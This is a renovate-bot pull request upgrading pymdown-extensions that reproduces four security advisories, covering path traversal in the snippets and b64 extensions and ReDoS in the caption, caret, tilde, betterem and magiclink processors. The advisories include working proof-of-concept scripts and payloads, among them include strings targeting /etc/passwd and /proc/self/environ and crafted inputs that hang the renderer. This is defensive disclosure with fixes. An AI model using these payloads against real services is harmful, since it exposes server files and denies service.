:arrow_up: Updates pymdown-extensions to v11 [SECURITY] by renovate[bot] · Pull Request #3538 · AlexRogalskiy/java-patterns

renovate · 2026-03-26T17:14:00Z

This PR contains the following updates:

Package	Change	Age	Confidence
pymdown-extensions	`==9.4` → `==11.0.1`
pymdown-extensions	`>=8.2` → `>=11.0.2`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Any file can be included with the pymdown-snippets extension

CVE-2023-32309 / GHSA-jh85-wwv9-24hv

More information

Details

Summary

Arbitrary file read when using include file syntax.

Details

By using the syntax --8<--"/etc/passwd" or --8<--"/proc/self/environ" the content of these files will be rendered in the generated documentation. Additionally, a path relative to a specified, allowed base path can also be used to render the content of a file outside the specified base paths: --8<-- "../../../../etc/passwd".

Within the Snippets extension, there exists a base_path option but the implementation is vulnerable to Directory Traversal.
The vulnerable section exists in get_snippet_path(self, path) lines 155 to 174 in snippets.py.

base = "docs"
path = "/etc/passwd"
filename = os.path.join(base,path) # Filename is now /etc/passwd

PoC

import markdown

payload = "--8<-- \"/etc/passwd\""
html = markdown.markdown(payload, extensions=['pymdownx.snippets'])

print(html)

Impact

Any readable file on the host where the plugin is executing may have its content exposed. This can impact any use of Snippets that exposes the use of Snippets to external users.

It is never recommended to use Snippets to process user-facing, dynamic content. It is designed to process known content on the backend under the control of the host, but if someone were to accidentally enable it for user-facing content, undesired information could be exposed.

Suggestion

Specified snippets should be restricted to the configured, specified base paths as a safe default. Allowing relative or absolute paths that escape the specified base paths would need to be behind a feature switch that must be opt-in and would be at the developer's own risk.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

PyMdown Extensions has a ReDOS bug in its Figure Capture extension

CVE-2025-68142 / GHSA-r6h4-mm7h-8pmq

More information

Details

Impact

This issue describes a ReDOS bug found within the figure caption extension (pymdownx.blocks.caption ).

In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted.

Patches

This issue is patched in Release 10.16.1.

Workarounds

Some possible workarounds

If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of pymdownx.blocks.caption could be avoided until the library is updated to 10.16.1+.

References

The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716.

Description

The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process.

The regular expression pattern in question is as follows:

RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')

The POC was provided by @ShangzhiXu

import re
import time

regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')

for i in range(50, 500, 50):
    long_string = '1' * i + 'a'
    start_time = time.time()
    match = re.match(regex_pattern, long_string)
    end_time = time.time()
    print(f"long_string execution time: {end_time - start_time:.6f} s")

The issue with the above pattern is that . was used, which accepts any character when we meant to use \.. The fix was to update the pattern to:

RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)')

Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717

Version(s) & System Info

Operating System: Any
Python Version: Any

Severity

CVSS Score: 2.7 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2

More information

Details

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)

Output:

LEAKED: <p><img src="..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

CVE-2026-67422 / GHSA-gm37-52c6-37mw

More information

Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:

Extension	Regex	Location (`11.0`)
`pymdownx.caret` (superscript `^…^`)	`SUP2`	`pymdownx/caret.py:56`
`pymdownx.tilde` (subscript `~…~`)	`SUB2`	`pymdownx/tilde.py:55`
`pymdownx.betterem` (underscore `_…_`)	`SMART_UNDER_EM2` (default)	`pymdownx/betterem.py:93`
`pymdownx.magiclink` (bare-URL autolink)	`RE_LINK`	`pymdownx/magiclink.py:56` (host at `:59`)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral
env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time
(a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang

class Timeout(Exception):
    pass

def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)

##### ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:


##### pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative
factor per fixed-size increment) — the signature of exponential, not polynomial,
backtracking. A valid, closed delimiter run of the same length exercises the same
regex yet renders in well under a millisecond, isolating the cost to the unclosed
crafted run. Extending it a few more characters pushes the render time into minutes
and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with
no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders
trusted author content at build time, but the untrusted-input exposure is concrete
in two settings:

General Python web apps that render user-supplied Markdown (comments, wikis,
issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundles betterem with the vulnerable default
smart_enable='underscore', or that reuses a Material-style extension block in
a runtime renderer.
Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a
single crafted line hangs the shared build worker.
Attacker: unauthenticated, remote (anyone who can submit Markdown).
Configuration: default for each extension.
Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer,
asserted to render under a small time budget) would guard against reintroduction.

References

Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2),
pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2,
default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56
(RE_LINK, host subexpression at :59).
Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM,
fixed 10.16.1) but distinct extensions, regexes, and root cause. The
caret/tilde/betterem content groups gained the vulnerable {2,}
alternation in PR #2547 (v10.13); earlier releases used a linear
(.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None
of the four has been touched by a prior security fix; all are present in the
latest release (11.0).

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

facelessuser/pymdown-extensions (pymdown-extensions)

Tool	Critical	High	Medium	Low	Status
Dependency Scan (universal)	2	12	14	0	❌
Security Audit for Infrastructure	14	92	8	32	❌
Kotlin Security Audit	0	0	0	0	✅
Kotlin Static Analysis	0	0	0	0	✅
Python Source Analyzer	0	0	0	0	✅
Secrets Audit	0	4	0	0	❌
Shell Script Analysis	0	0	0	195	✅

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renovate Bot commented Mar 26, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Any file can be included with the pymdown-snippets extension

Details

Summary

Details

PoC

Impact

Suggestion

Severity

References

PyMdown Extensions has a ReDOS bug in its Figure Capture extension

Details

Impact

Patches

Workarounds

References

Description

Version(s) & System Info

Severity

References

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

Details

Summary

Details

PoC

Impact

Suggested fix

Severity

References

pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

Details

Summary

Details

PoC

Impact

Suggestion

References

Severity

References

Release Notes

11.0.1

11.0

10.21.3

v10.21.2: 10.21. 2

10.21.2

10.21

10.20

10.19.1

10.19

10.18

10.17.2

10.17.1

10.17

v10.16.1: 10.6.1

10.16.1

10.16

10.15.0

10.14.3

10.14.2

10.14.1

10.14

10.13

10.12

10.11.2

10.11.1

10.11

10.10.2

10.10.1

10.10

10.9

10.8.1

10.8

10.7.1

10.7

10.6

10.5

10.4

renovate Bot commented Mar 26, 2026 •

edited

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`v10.21.2`: 10.21. 2

`v10.16.1`: 10.6.1

github-actions Bot commented Mar 26, 2026 •

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